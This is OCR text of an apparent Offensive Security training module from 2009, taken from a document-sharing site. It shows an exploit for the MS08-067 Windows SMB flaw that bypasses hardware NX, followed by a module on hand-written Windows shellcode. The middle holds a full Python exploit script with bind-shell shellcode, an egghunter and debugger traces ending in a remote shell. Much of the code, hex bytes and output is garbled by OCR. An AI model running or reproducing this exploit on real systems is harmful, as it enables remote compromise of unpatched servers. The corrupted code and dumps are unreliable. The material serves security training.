Você está na página 1de 48
ur Buffer POP ESI ~> ESP is incremented by Oxt g9P = o1zdre88 ccosccce LEAVE ~> acy esp, sbp => Ese = S5P = ED - Olodfdee Se 00 41 4 pop ebp|-> ESP ~ Olzares + Ont = Ol2dtee 41 a1 aL 41 ABM 4 -> BYP = Olzdgese = 41 41 41 41 ESp = ESP + Ox8 = O12ae070 24 £5 83 76 ntallINtSetInformationProcess arguments on the stack aE stevia SEIT Otome alae Figure 19: Stack frame layout in LdrpCheckNxCompatibility epilogue (before LEAVE) 51 © Alleights reserved to Offensive Security, 2008 tome [iat inc ca Pecos evan Figure 20: Stack frame layout in LdrpCheckNxCompatibility epilogue (before RETN 0x4) i Figure 21: Stack frame layout in LdrpCheckNxCompatibility epilogue (after RETN 0x4) We own EiP- however none of our registers seem to point to a usable buffer chunk. Checking deeply, we can see that ESP points to 0x7c83/52d ...that looks familiar! Let’s take a look at the part of the stack frame pointed by £8? just before and after the call to the ntail/ZwSetinformationProcess procedure: ‘efere ntdll/axsetinfomationPzocess cal. Oigdred 50 00 G1 1 Ol al ai di 2 4 42 at G2 41 a 4 \ AAR O1zaf474 41 41 41 41 G4 £4 24 OL 17 £5 83 Tc co co ce cc AARG.—...-| Atter ntdll!wsetinformationProceas call: Oi2az46a $e 00 41 G1 41 41 41 41 4b Ja 82 70 2d £5 63 Jo \.ARARBAKE.|-..1 oizata74 ff ff ££ ££ 22 00 00 00 60 £4 2a OL 04 00.00.00 Lr..tec. meses 0:015> w 7082784 ntdii |2usetinformationProcess+0xe: ‘obatatb 221000 ret 10h ‘TeaDtade 80 nop 52 © Allrights reserved to Offensive Security, 2009, tall "aiepCheckicompatibility+0x5a: esatsia evastet: jap nedlllLdepCheclaixCompatibilitys0xsa (70894347) Stack Frame before ond after ntallintSetinformationProcess Call The 0x7¢83f52d and 0x7¢827a4b addresses that we see overwriting part of our "\x41” 18 Bytes buffer, are respectively the LdrpCheckNXCompatibility return address and the 2wSetinformationProcess return address: when a subroutine calls another procedure, the caller pushes the return address onto the stack, and once finished, the called subroutine pops the return address off the stack and transfers control to that address®. Weust [esp-8 _Previas_| Display format: [Pointer and Synb sot Inforna lOLc1£470 7¢83£52d ntdll !LdrpCheckHXC. Olcifa7a Eeeetere l0lc1£478 00000022 «Unloaded $¢.DLL>+ lO1ei£47e O1e1£aed < "56 DIDs+ loicie4s0 ooo00004 56. DIL. orereass 1c £488 Dicleaee Dict £490 coo {FESR HIORTEe “ptdll lidrpcheckNXCia] Loita? (Eesette Olcif478 00000022 pop ebp | 0000000 sb pop ebp 0:050 jade -© mean Dump dll containine 0x9c800000: oxooosacoe: c:\un Base Enteyoin © Fd 0 114% inttp://en wikipedia orp/wiki/Call stack 53 (© Alleights reserved to fensive Security, 2009 | GREENS IME DRED 0:050> » ox72800000 1<0000 Sa 3 700199 Sac} Hb £0 OF BS BS 2-05 00 7eB01a57 $4.63 Gh cf 49 49 74 20-83 9 70805823 5a C3 OF bE 58 OF 66 ab-Ic 5a 7908078 Sa 63 90 00 oo Go oe cores £3 7e809475 5A 03 OF B? 45 08 91 50-28 09 7e808484 Sd 03 90 90 90 90 90 Bb-EF SE ia of 89 6 00 os 75 le a 59 2 05 1a Ea Sa 83 a 53 of 00 cs Siaob.21 ia 2050> taddrene 7en09404 "79800000 + 710601009 - G0086000 ‘Type 01000000 sem race Protect 00000020 PAGE_RXECUTE_READ State 00001000 tm Comat Usage Regicntleagetaage PullPath C; \WENDOUS\ systens2\ntdl1 dl Searching for POP EBP, RETN. (oe FP We found more than one match and, once again, we are ready to change our exploit stub buffer to tmateh the following stube="\x2r\x00\x00\x00" Seabees ts ] Seaboe Nene nst\eto wre: porate yee ec Tio Wma: brs att ageyaa\aTor Sooke Ge Seabee Asno a NX. STUB_0x04 stub buffer ‘seubs=" Ve Sl ese ROD\ 2a WO \e2e\RO0\wSe\00 26 ROD \HDA\AOO SEO" stub= "x01 \x00\wo0\x00+ Rererence 1D SStube=!\L0\200 001200" F max count ‘stub-="\x00\200\200\200" ff oftesr ‘Stupi=!\sel 045000000" # Aerual count stubs" 28 # Server one ‘stubi="}200\400\00\00" # Ose Tratler Padaing ‘stub-—"\se2e\00\00\00" # Max Count ‘bubs="\x00\300\x00\x00" # oftest Actual count fone ake dnellcsas fsenbs=" Yx00\00\00\x00" 4 padding seubs—" \x02\x00\x00\200" max But Stubs="\202\x00\x00\00" tes: Count stubs—'\x00\200\x00\200" f ofteee Stubi—!\x02\x00\800\00" # Actual count stubs="\xsc\x00\x00\200" 4 Prefix ‘stubt="\x01 \x00\#00\x00" # Pointer to pathtype SbabE=" x01 \x00\x00\x00" # Path type and 34 Kh rae (© Al rights reserved to Offensive Security, 2009 Let's set up a breakpoint on our new return address and run the above exploit: 0:050> bp ox7ebon4e4 0:050> bi roottht #0 STUB_Oxé.py 10.150.0.196 rea Spey eases aes eee thevreress —optenive-aecurity.com seensenste eeeshe anita te teroyenan © sarees Firing payload... Breakpoint 0 Bit earstteetitt sbe-0L0c00S0 aow-010cEER? adui-OlOce50H eatnDLOe#tDe acto10ae064 eipeTef08db¢ esp-010cr472 ebp~gi4i414i iopi=0 ‘ny wp ei pl rr na pe ne Oi ssH0023 den0023 ws-0023° Fs4003b ge=0000 ‘ef1=00000246 neal iéputwes0x292 “Tep09488 6a Pop ekp [NX STUB Ox04 session é cla is ELIE PoB08488 cs ret yeansaae 30 hop 72808457 90 nop resosaaa 90 nop 6309499 90 nop revogdae 90 nop Jntdii!_fisybut WINDOVS\ system 0: 050> bp ox7-009404 lb asv> bi Oe 7809484 0001 (0001) O:8 atdLllfputwct0s29 L0cE4b? edx=O10ctS08 esi-010cEAbG edi=0I0CE 4 peOL0cE47e ebp-41414141 iopl=0 fy up el pl zy pa pe ne 023 d2=0023 fee003b 32-0000 et L-00000246 pop ebp Figure 23: Breakpoint hit 55 © Allrights reserved to Offensive Securty, 2009 a a rtuat [esp | aay fom [Pointer and 7] D108 47 loioct 420 lord 484 O10c£ 488 loi0ct 48c o1oce 430 o1oceasa oiocease, D10ct4a8 o10ci4ac Newt FEfEEFEE 77200392 NTHARTA!CKernelContext | -GetKernelPropert 7e83£S17 ntdl1|LdrpCheckN¥Conpatibi lity+0x2b Figure 24: Stack frame ready for exploitation 56 ‘©All rights reserved to Otfensive Security, 2008 Now we proceed (stepping over) until the “retn 0x4” (end of function epilogue) is reached in LdrpCheckNXxCompatibility to check if the “pop ebp; retn” trick will give the expected effect: ities, eai=eaoeoaTe eB =OIVGTADE (68 ehp=11410050 Lopl=0 BY up ei ag na aa pe nc 55-0023 dan0023 es-0023 fe=003 ge=0000 1e#1=00000286 | tall lLérpchockNACompat ibility+0x602 70834364 220400 ete ep -> o10ceess «1414242 o10eesso a1azazat oroeee70 ananazar O10ct474 70827aKb nedll'avsattnformationtrocsss$Oxe 0106478 7o83e524 neil HidrpChaclanCompatibilsty+0x58 o1veee7e seeseese ‘o10ee420 00000022 o1pef498 00000008 O100¢4Be conccere | 1a stu. 010 session ete aT Viaeptheckiixinconpatibleblisaction (7eiJ35al) utd]! LdrpCheckt%Compatibi lity Geord ptr (ebp-4} 0 ntdll !LdrpchechNxCoupatibility+0xdb (7831516) byte ptr [esiti7h] aun Sate (7c64S1ec) e491 1000000 5p4020 x deord ptr £5: [op000018h] jax dvord ptr {eax+30h] SSidvord ptr feaesdch] eat Ich Svord ptr [ebp-Sth] eds dvard ptr [ed Sword ptr [ebp-déh) ess 10ck a4 =b0b0286 x=U000000) ebe=O10000Se eex-0L0c 474 edu=7cR285ec e=1- Toot 68 DP 7eB 3 3 DLoet469 |bpe4l4100Se seple0 nv up el ag ne 1 LOU ss-002) dse0003 es-0023, fs=009b gs+0000 efi IntdLl | LarpcheckikCowpatabalitys(xed Fed iaada 220400 tet Figure 25: Returning into the buffer from LdrpCheckNxCompatibility epilogue 37 ‘@ Allrights reserved to tensive Securty, 2008 edi loctase cbx 10c008e dx 7c8285ec sex 10ot474 omer) tb Yeusifesp ——SSSSCtlayfomats[Fonter and =], Nest foictees areretar laidckdke a4aiatai lnincte7a aiaigiai JD1NcEA74 7o827adb ntl !ZvSet Intormat ionProcesstie loinc 478 7083520 ntl 'Larpcheckicenpatabilitysdssa loimeté7e feetttts loinetaao o0oun022 lninceaed O1def4e0 incrase onononng loinet 48 Joiner 430 lnimet esa miner ase Figure 26: Stack frame before returning into the controlled buffer 58 © Allrights reserved to Offensive Security, 2009 And executing retn Ox4 we obtain: 1222-00000000 abs~o2 00905 eoxno1der474 eaxrTeazeses eaimceccecee edi=DLOctA6s 1414141 esp-020ef470 ebp-4141005° Lopl-0 av up el ng az nage ac e5-001b 95-0023 do-0023 2-023 fe-003 ¢2=0000 ‘ef1-00000286 maa 7 272 ESP ~> 2008670 42424141 > DLOCEE?4 ToR2Iasm nell !2wserinfomationProceaas Ox OLbe#47® Teo3#524 nbd IharpCheckIKCompatini Lity+Oxsa orecravo sereeere 80ce480 00000 Oi0eea84 olocese0 Ol0cesee ooo00004 Dibezkee ceacance 020c£490 ccececes <: NX STUB_Ox04 session, stack frame ofter LdrpCheckNxCompatibilty epilogue Yes! Once again we own EIP but now, ESP points to a buffer chunk under our contro! (0x010cf470 41 41 41 41), We can now substitute the 0x41414141 at 0x010c{468 with a JMP ESP address that we can find in memory. We will now insert a SHORT JMP instruction at 0x010c{470 (ESP) so that after the JMP ESP, we will land Inside the first part of our payload (egghunter), TOOUEE =] FeanwoRI= U2 W toele/aaea_ shee asm > Jap esp (00000000 FEE amp esp 0:024> 2 Ox72800000 ucn000 ££ 24 TeB6a0Ld £f e4 9F 6 70 Ta 9f G5-Te 90 90 90 90 90 Sb FF 76887733 ££ o4 04 00 00 1e 00 #B-7F 00 G0 00 00 00 00 00 Searching for JOP ESP address In the following exploit, we have introduced shellcode and an egghunter that will be executed after the IMP ESP and the SHORT JMP, Please refer to Module 0x01 for more details about adjusting the shellcode size in the MS08-067 explott: ra ‘on impacket import sap from inpacket import aiid fon Lapacket .deespe import deorpe 59. © Allrights reserved to Offensive Security, 2009 fey pore = 445 except Indexizzor: Print "Usage: §s moor" & sys-argy[0] sya.exit() argv] trans ~ tranaport.DoEReCTeanepert trans. connect () doe = trans. OCEREC_class(trans} dee. bind (uuid-amtdtup t0 bin (¢* ctory (*neae prte[\\pipe\\browser] '#tazset) 12924 608-1670-01d3-1279-Sat7bE6ee188", +3.0"))) wy 8 windows/snell_bind_top - 317 bytes + netp://nr motasploit.com 4+ wanruncmthread, LeORT=4¢44, nHOST= arr Shelicode = ( \xfo\x6a\xah\xtd\xo8\et9\arr\xrr\xer\x60\x8\xSc\x26\326\xab" \x45\x30\ nab \x7c\ x05 \478\ XO} xo \xBb x4 18S St \x20\ x01 =\ eb \xd9\ x0 \ 234d \x01 \xoo x51 \ne0\ x99 \ac\ x04 \xo0\x74\207 ‘\tel ea x0a\ x01 \xc2\ xa \ ers x54 28\328 \x75 eos OB 5" x24 \x02 \nob\ x6 6x8 x0 edb Bb \xSf\x.o\e01\ ob \x03 x20 Bb \ x89 Se 24 ede x61 Veo \ 31 x5 eS x63 30x \dO\ 00" \ xe \3eT0 een XS 40 \ x08 50x68 \ G0) xa\ x00 ac\x50\xt2" "ed \ X65 \x53\ 6 \ 68 3332 6B \H77 73 \ 32 WS Ved eee" oA x68 eb nad ef \ Sb 50 EE Ved \x5€\ 09 \e5 56x01 rod x08" \x02\x55\x6a\x02 xf xc \x68 \xd9\x08 \xf'5\ad\x57\xE fxd 6\x53" x53 e554 SE e536 \ SEL \aSe So" "\53\x83\xol \x95\x68\xad\xLa\x70\xc7 \x57\xE\xd6\x6a\e10\x51" ""\SB\xe£\2c0\x68\ xa \wad\x20\x09\257\ EF \xd6\x53\x55\8F dO" ""\x68\xe5\x49\x86\x49\457 aE \xd6\x50\x54\x54\x55\REE cD \93" "\x68\x07\279\xc6\x79\ x57 \E\xd6\255 \ xf \xdO\x56\xSa\ 64266" ""\x68\x63\x6a\x89\ x05 \x6a\x50\x59\x29 \xco\x89\x07 \xSa\xt8\ x89" ‘s\wo2\x31\xc0\x£3\xaa\xfo\x42\x2d\xto\x42\x20\x92\x8d\x7a\438" '\eab\ab \eab\ 68372 \efa\xb3 \x1 6x6 x75 \xkd eee SS" ‘s\x52\x51\251 \xS1\x6a\ 01 \x5i x52 \x55 \ x1 xe \nc0\x68 nada" \K05\xco\x53 eff \xd6\x6al\ xf \ xt \x37 \xff xd x5 \x57\xFe\ x83" *\xo4\x64 Vet 6 \x52\ £0 \xd0 \x68 ze \ xe x00 \250\x53\x Es" n\eee\xao" ) stubs ‘\x0\x00\x00\x0 4 Reference TD stubeet \xac\#00\300\20 # Max Count stubé="\x00\x00\x00\x00" $ offset Stubi=" \wac\xDD\xOO\ 00" # Rotual count bt=*\x27\x00\ 00x00 a =" \00\00\x00\00" : Ana \e00 00x00" T netunl count 4 Nd \w00\52\ 8002600 ue \KOO\XSeNOO\RZEAOG xBE\FOOBACAROO' F PATH pad HA p beet starting... :) mx BYPASS Ese fur Cea @ macoiwa Nita ano x6 07 # Oxieaeaoib awe Bap ¢ntain) Ana\eei\eei\eel!# PAIDIND AWEB\IC\RSO\RSO! GIMP TO BOGHURITER Ox1e bytes = (0x20 ~ Oxé) Bas: 3) 60 (© llrightsreserved to Olensive Security, 2009 aS TT sStubs=! x8 \x94\x00\x70" Shubin \nPPA RPP \APP AATF stubs \EAZ\ 203 \x20\377 \. ‘02772083K2 PUSH DI, DOP BP, REEW Oxt He ee rn tt 8. pel ell oc tors 10 deosinan ata In Bvegek sstubs= "xd 7\F5\x83\x70" ‘\x90\490\490\50" ‘Seub="\e90\ x90 \x90\90" 4 EoGHUNTER 32 Bytes fegghonter ='\x33\402\x90\x50\x90\x¢2\x52\x6a" fegghontert="\x02\x58\xod\x2a\x3e\x05\x5a\x74" egghuntert="\xté\xb8\xée\x30\x30\x62\x5>\xf8" fegghuntert="\xat\x75\xoa\xat\x75\x07 \et\ x07 * stubt= egghunter seuby—! \x00\ 200" Seubs=" \e00\200\x00\x00" padding atubte! \x02\x00\x00\00" 4 Max Boe "ubt=t \202\x00\200\%00" 4 Mase Sonne # ostser 4 Aotuad Count Stubiat WeBe\x00\ 20000" # Prefix sstubs="\x01\00\x00100" 4 Pointer to pathtype stub=! 201 \x00\200\200" 4 Path type ond flags print “Hiring payload..." Sce.call(Oxif, stub! Houtt (or 31 ine "Bone! Check yous on port 44ea” NetPathCanonicalie operation Final Exploit Source Code Let's set a breakpoint on the JMP ESP address and execute the final exploit: Setting « breakpoint on IMP ESP in Windbg: 0:017> bp ox7esea02> o:017> rootibt f ./K EXPLOTT.py 10.150.0.198 seterreses yG06-67 Winzk3 SP2 IOC BYPASS tteeeseneee Firing payload. Done! check your shall on port 44ee Tn Winthy our breakpoint has boen hit Breapoint 0 hit 22x=00000000 ebx-O0c800Se acxnO0886474 edx~7eR2RSes exi~90508090 edin0ncerece Sip=7e06a01b exp-00c8£470 skp=41410050 Lopl=0 ny up ei ng nz na po nc s-001b 95-0023 deq0023 s8-0023 f5-0035 as-0000 dl [Re 1pentegertchaess0 e86a0in Fee: Sap eep (00c8r470) wan Minn nen earomeeoten er HC ws by 61 {© Allright reserved to Offensive Security, 2008 Weecurity Let's step over: O:010> p. fsaxe(10000000 ebx=O0c8005¢ p '88x-00000000 ebx=00c#00S2 ecx-00GRE474 adu~ToRZeSe2 e84=20909090 edimODcEEHEE ekp-00C8EIBe exp=O0C8EIT0 ebpm1L11005e topi=o ‘ay up ei ng nz na po ne ees00Lb ss=0023 de-0023 ee-0023 fo-003 gs-0000 ‘e#1-00000282 MOP SISD reached. We let the egyhunter doing its Job O008f4e0 90 op o:o10> g Final Exploit Session Cn aT ¥ feet: fasscop nop nop op nop d00ai9id 30 nop Dodie 90 nop oonaisit nop oo0si320 Bop opa1921 nop oooei922 BoP o0s1929 nop onpaisza nop nops1925 nop oonaisz6 nop bon=13 o0081928 baeb OFFEFFFEBR Dova1928 44 ebp fes-001b ee=0023 de=0023 ese0023 fe003b gex0000 ef 1=00000246 DUoeEAse ffe? jap edi {00081918} 0.0103 p 62903066 ebx-00C800Se eck=00c8E 46> edx=O00a1910 esi=90909090 edi =000a1918 *O0e0E470 abpe4i4i005= iopleo ne up ef pl zy na pe ne desl02) ese0023 t==009) gs=0000 ef l-0n000246 nop Figure 27: Soft landing at the beginning of our shellcode 62 © Allrights reserved to Offensive Security, 2008 Weecurity Once again we've obtained our remote shell on port 4444! [oOUnDL ¥ me Torso, 0-n9e aaae Microsoft Windows [Vezsion 5.2.3790) {C) Copyzsgne 1985-2003 Microastt Comp. cc: \waNDons \syatans2> 1) Repeat the required steps in order to return into the controlled buffer and obtain a remote shell on the vulnerable server. In this module we have successfully exploited the MS08-067 in a real world scenario, where hardware NX was enabled on the target server. These types of protections are very effective in mitigating software exploitation, and raise the bar needed to compromise the vulnerability. However, as we have seen in this module, under certain circumstances and conditions, these protections can be overcome, 63 © llrightsreserved to Offensive Security, 2008 security Module 0x03 Custom Shellcode Creati + Understanding shellcode concepts + Creating Windows "handmade" universal shellcode "shellcode” is a set of CPU instructions to be executed after successful exploitation of a vulnerability. The term shelicode originally was the portion of an exploit used to spawn a root shell, but it’s important to understand that we can use shellcode in much more complex ways, as we will discuss in this module. Shelicode is used to directly manipulate CPU registers and call system functions to obtain the desired result, so itis written in assembler and translated into hexadecimal opcodes. Writing universal and reliable shellcode, especially on the Windows platform, can be tricky and requires some low level knowledge of the operating system; this is why it’s sometimes considered a black art™’. “http: //en. wikipedia org/wiki/Shellcode 64 © Allvights reserved to Orensive Securty, 2009 Syscalls are a powerful set of functions which interface user space to protected kernel space, allowing you to access operating system low level functions used for 1/0, thread synchronization, socket management and so on, Practically, Syscalls allow user applications to directly access the kernel keeping them from compromising the OS". A Shelicode’s intent is to make an exploited applications behave in a manner other than what was intended by the coders. One way of doing this is to hijack a program execution flow while running shellcode and force it to make a system call. On Windows, the Native API is equivalent to the system call interface on a UNIX operating systems. The Native API is provided to user mode applications by the NTDLL.DLL library"®. However, while on most UNIX OS', the system call interface is well documented and generally available for user applications, in the Native API, it is hidden from behind higher level APIs because of the nature of the NT architecture. The latter in fact, supports more operating systems APIs ( ‘Win32, 05/2, POSIX, DOS/Win26 ) by implementing operating environment subsystems in user mode that exports particular APIs to client programs”. Moreover, system call numbers used to identify the functions to call in kernel mode are prone to change between versions of Windows, whereas for example, Linux system call numbers are set in stone. Last but not least, the feature set exported by the Windows system call interface is rather limited: for example Windows does not export a socket API via the system call interface. Because of the above problems, one must avoid the direct use of system calls to write universal and reliable shellcode on the Windows platform. *yttp://en.wikipedia.org/wiki/System call *yttp://en.wikipedis.org/wiki/Native_AP| “77he Win32 operating environment subsystem is divided among a server process, CSRSS.EXE (Client-Server, Runtime Subsystem ), and client side DLs that are linked with user applications that use the Win32 API, 65 (© All sights reserved to Offensive Security, 2008 So if we can't use system calls, how can we talk directly to the kernel? The only option is using the Windows API exported in the form of dynamically loadable objects (DLL) that are mapped into process memory space at runtime, Our goal is to load DLLs into process space (if not already loaded) and find particular functions within them to be able to perform tasks specific to the shellcode being coded. Again here, we are avoiding the possibility of hardcoding function addresses to make our shelicode portable across different Windows versions, Fortunately, kernel32.dll, which in most of the cases is guaranteed to be mapped into process space“, does expose two functions which can be used to accomplish both of the above tasks: + LoadLibrary + GetProcAddress LoadLibraryA implements the mechanism to load DLLs while GetProcAddress can be used to resolve symbols. To be able to call LoadLibraryA and/or GetProcAddress, we first need to know the kerne/32.dll base address and because the latter can change across different Windows versions, we need a general approach to find it An exception is when the exploited executable is statically linked 66 (© Alrights reserved 1 Offensive Security, 2009 One of the most reliable techniques used for determining the base address of kerne/32.dll, involves parsing the Process Environment Block (PE8). PEB is a structure allocated by the operating system for every running process and can always be found at the address pointed by the FS register F5/0x30]. The FS register on Windows is special, as it always references the current Thread Environment block (TEB) which is a data structure that stores information about the currently running thread. Through the pointer at F50x30] to the PEB data structure, one can obtain a lot of information like the image name, the import table (IAT], the process startup arguments, process heaps and most importantly, three linked lists which reveal the loaded modules that have been mapped into the process memory space”. The three linked lists differ in purposes and their names are pretty self-explanatory + IntoadorderModuletist + InMemoryOrderModuleList + IninitializationOrderModuleList ‘These linked lists show different ordering of the loaded modules. Because the kerne!32.dll initialization order Is always constant, the initialization order linked list is the one we will use; in fact, by walking the list to the second entry, one can extract the base address for kernel32.dll. htto://en.wikipedia.org/wikl/Win32 Thread Information Block 67 (© All ights reserved to Offensive Security, 2009 ) sia The algorithm used to find the base address of kernel32.all library from PEB is very well described in [20] and [21], so let's see how this method works: 1. Use the FS register to find the place in memory where the TEB is located and discover the pointer to the PEB structure at the offset 0x30 in the TEB: struct TEB( 1 ot PES" Procedelnvironnentlocky tee wor eax, eax 1 exe = 0x000000 nov eax, £5: [eaxt0x30) // store the address of the PED in eax 7 wroiding WOLL values in shellcode Finding Kernel32.dll base address, Step 1 _ Find the pointer to the loader data inside the PEB structure (PEB LDR DATA) at Ox0c offset in the PEB: mov eax, foax + 0x00} // oxtract the pointer to the loader 77 data ‘structure Finding Kernel32.0ll base address, Step 2 3. Extract the first entry in the InitializationOrderModuletist (offset Ox1c) which contains information about the ntdll.dif module. f BORA | ot | stiuct LIST 2NTRY InboadOrdermoduleni sty ENTRY Ininitial{rationondertoauieList: mov eat, [eaxtOxtel Finding Ker I32.dll bose address, Step 3 in32 Assembly Components" by The Last Stage of Delirium Research Group http://www dnal gatech edu/lane/dataStore/WormDocs/winasm-1.0.1.pdf Understanding Windows Shellcode” by skape http://www hick.org/code/skape/papers/win32?-shellcode.paf 68 {© All rights reserved to Offensive Security, 2000 4, Move through the second entry which describes kerne!32.dll; the base address can be found at 0x08 offset. ruct LIST eNTAY{ strict LIT ENTRY Blinks oded 11 gzab the next entry in the List mov edi, (enxt0xd] // grab the Kernel32.All sodule base address Wana store it in edi ret 17 revurn to the caller Finding Kernel32.dll base address, Step 4 286 4 enable 32bit programing reavur adel fat, stacali } flat model programming/stdcali convention assume fa:Flat | -aata start data section scode start code section | nov ebb, 28p call find kerne! | es ov Sam, fe: {oax+i0b] 4 Boy eax, [eax+och) nov esi, [enerich] doded wy edi, foax+O0h] | sx eer Ais | Finding Kernel32.al base address ASM code 69 © ALT rights reserved pn ibe offensive Security, 2009 i Wsecurity We can now save the source code in an .asm file and compile it with masm32. The “assume fs:flat” has been inserted as the FS and GS segment registers are not needed for flat-model” (have a look at [23] for the stdcall directive. Fle ESL Seledion | Projet Too Code Sct Window Holy ares Com oo nsorsc: mrmrascicy re) fewest aor code section peas ore erey Figure 28: Compiling find_kernel32.asm Running the find_kernel32.exe from OllyDbg and setting a breakpoint at the beginning of the “start” procedure, we can follow the execution of our shellcode and see that, at the end of the find_kernel32 procedure, EDI register contains Ox7C800000 that is the kerne/32.dll base address. The MODEL FLAT statement automatically generates this assumption: ASSUME ¢s:FLAT, dSiFLAT, ss:FLAT, eS:FLAT, 1s:ERROR, gs:ERROR s0 to avoid errors In "mov eax, fs:[eax+30h]* syntax we need to use fsflat http: //en.wikipedia.org/wiki/X86 calling conventions 70 (© rights reserved to Offensive Security, 2009 ile View Debug Plugns Options Wrdow Hel Bla x} >In) fH SnORT Finck OOAOLONS Batt Fina er-cosos00c Oe pe ABS Ee Eooeo pre es How Efe Dace PIE 8 Registers (FPO Ri ESE EObe® eB (ape! aeons nae fe oH FE BY tice 8a 0 SPE Figure 29: kernel32.dll base address in EDI register You may have noticed that if we leave our shellcode running, the program will crash; this happens as we didn’t place any “exit” function after the “ret” of our find_kernel32 procedure, don’t worry we will fix this in next shellcode version. We also excluded instructions needed to make the shellcode compatible with Windows 98 systems for simplicity” Other two widely used methods to discover the kernel32 base address are the “SEH” method and the “Top Stack” method. These methods are well explained in {20] and [24]. 1) Repeat the required steps in order to find kernel32.dll base address in memory. 2) Take time to see how the double linked list nitializationOrderModuleList works in memory, using the “Follow in Dump” OllyDbg function. * This compatiblity feature is included and explained in "Understanding Windows Shelleode" paper [24] n (© llrightsreserved to Offensive Security, 2003 esolving Symbols: Export Directe ple Met So now we have the kernel32 base address, but we still need to find out function addresses within kernel32 (and others DLLs). The most reliable method used to resolve symbols, is the “Export Directory Table” method well described in [21]. DLLs have an export directory table which holds very important information regarding symbols such as: * Number of exported symbols + RVA of export-functions array + RVA of export-names array + RVAof export-ordinals array The one-to-one connection between the above arrays is essential to resolve a symbol. Resolving an Import by name, one first searches the name in the export-nomes array. If the name matches an entry with index j, the i entry in the export-ordinals array is the ordinal of the function and its RVA can be obtained by the export-functions array. The RVA is then translated into a fully functional Virtual Memory ‘Address (VM) by simply adding the base address of the DLL library. Because the size of shellcode is ju as important as its portability, in the following method, the search by name of a symbol is made using a particular hashing function which optimizes and cuts down the string name to four bytes. This algorithm produces the same result obtained by the GetProcAddress function mentioned before and can be used for every DLL. In fact, once a LoadLibrary symbol has been resolved, one can proceed to load arbitrary modules and functions needed to build custom shellcode, even without the use of the GetProcAddress function. Erp te Teste Mate) @ Gof Expel Yerky The VA (PE Sgro OQ PA THe Member 42 brerys tA xpurted Shin ra Ele © 280 ow Expt pnw fern Breech fischer Merre : ® Coorfife hess © came nom 4/ ie he a 6 sh OM. Ae ordiesbe" oteuy Vord pee Po ea oe eed anes YM, fae se geleee 1 Con pol no he ore Pshed om Se @ Mi oth tee tae mov edi, [abp + eax + 78h) add Sak abe [edi + 19h) eat + 208] ‘function finished eet, [abs + ocx * 4) esi, obp | Finding Export Directory Table VMIA We start saving all the register values on the stack as they will all be clobbered by our ASM code (pushad). We then save the kernel32 base address returned in ED/ by find_kernel32, into EBP. (EBP will bbe used for all the VMAs calculations). Save all registers ‘Take the base address of kernel? and pot it in ebp Gefset to BE Signature vin | Export table relative offset f meport table va Wunber of names | Names teble relative offset } Nanos table Via Jump to the end if ecx is 0 Decrement our neties counter ore the felative offeat of the name Set eel to the Wii of the current name 2B (© Allright eserved to Offensive Security, 2009 ‘As seen below, we proceed identifying the offset value needed to reach the PE signature” (“mov eaxlebp + 3ch]") cert ne [DI xs es = os geen 3 a = & eee se Eee eiee = 8s i & : eke 8 DOSLOverlay = @ aaRa DeRRaeEBRU Se eERaURaE RaNBaNED EEE EERREES RBEREDEREREBELERBTERA BELA SERBRSRRBIESLLESSLSELTLES RES EEE! aqeaes 3 fe aa i to FE signanace Figure 30: PE Signature **The PE header starts with the 4-byte signature "PE" followed by two nulls. 4 © Al rights reserved to Offensive Security, 2008 We then proceed by fetching the Export Table relative offset ("mov edi, [ebp + eax + 78h]") and calculating its absolute address (“add edi, ebp”), as seen below. 7 ae Seer 8 ese Sizeorn 408 (84) eas ie Figure 31: Export Table Offset v From the Export Directory Table VMA, we fetch the total number of the exported functions (“mov ecx, fedi+ 18b)” , ECX will be used ) and the RVA of the export-names array which is then added to the kernel32 base address to obtain its VMA (“mov ebx, edi + 20h] ; add ebx, ebp”). 6 (© Allrights reserve to Offensive Security, 2008 The find_function loop is then started and checks if ECX is zero, if this condition is true then the requested symbol was not resolved properly and we are going to return to the caller. find _tunetion: pushed + Save ali reatatere | nov 7 ake the base address of kernel32 and 7 put it in epp mov eax, febp + 3ch} } Oteet to PS Signature VaR mov eal, [ebp + eax + 78h] Eepert table relative offset add edi, bp. 2 export table ma mov cx, [edt + 26h) } mumber of nares mov eb, fed! + 20h} 3 Names table relative offset edd bx, ep, } hanes fable Wa’ | aoe mov esi, [abe + ocx * 6) add si, ate, Finding Export Directory Table VMA sump to the ond if ocx 12 0 Store the relative offset of the mane Set esi to the VIA of the current nane ECK is immediately decreased (array indexes start from zero). The i function’s relative offset is fetched (“mov esi, [ebx + eck * 4]") and then turned into an absolute address. The following drawing shows an example of how the VMA of the third function name AddAtomW is retrieved (ECX=2) Export Names Array > INDEX 0 INDEX 4 INDEX 2 INDEX ith 0x63480000 0x724B0000 _ 0x7B480000 | | OXXXOKKKKK vy v vy ¥ ActivateActCix —AddAtoma, AddAtomi ithFunction ebx (Export Names Array VMA, points to the first element) dec eox f2cx = ith function mov e: add esi, ebp Dx + ecx * 4] contains RVA of function nam esi contains VMA of function name Figure 32: Retrieving the third Function Name VMA in Export Names Array, ECX=2 76 (©All rights reserved to Offensive Security, 2009 At this point the ESI register points to the /* function name and the routines responsible for computing hashes are started: ‘compute hash: dg, 4} tare ech ad + Clear direction 1co_hash_agasn: Lode +} Load the next byte from eet into al aa } eat ourselves. g 432 Compute hash finished For eax, och ads eae, osx compute, If the 2F is sot,we've hit the null ters Rotate edx 13 bite to the right ‘Add the new byte to the accumulator Next iteration [compute Function Nomes Hash Routines Both the EAX and EDX registers are first zeroed and the direction flag is cleared” to loop forward in the string operations”. The loop begins and byte by byte the 4 byte hash is computed and stored in the EDX register, which acts as an accumulator. At each iteration a check on the AL register Is performed (“tes 1,21’) to see if the string has reached the termination null byte. If this is the case, we jump to the beginning of the find_function_compare (via compute_hash_finished label) procedure. But how does the hash function exactly work? Let's take a closer look at the three following instructions: “in assembly, the cld instruction stands for "clear direction flag". Clearing direction flag will cause the string Instructions done forward. The opposite command is std which stands for ‘set direction flag” “'edq instruction converts a double word into a quadword by means of sign extension. Sign extension means that the sign bitin eax (bit 31), is copied to all bits in edx. The eax register is the source and the register pair edx:eax Is the destination. The cdq instruction is needed before the idiv Instruction because the idiv instruction divides the 64 bit value held in edx-eax by a 32 bit value held in another register. The result of the division is the ‘quotient, which is returned in eax and the remainder which is returned in ed. 7 (© Allrights reserved to Offensive Security, 2009) The first instruction loads the n™ byte from ES/ to AL and increments ESI by 1 byte. The EDX register is then RORed by 13 bits. ROR rotates the bits of the first operand (destination operand) by the number of bit positions specified in the second operand (count operand) and stores the result in the destination operand. The byte loaded in AL is then added to the rored EDX register. We can write a simple python script that performs the same operation so that we will be able to compute 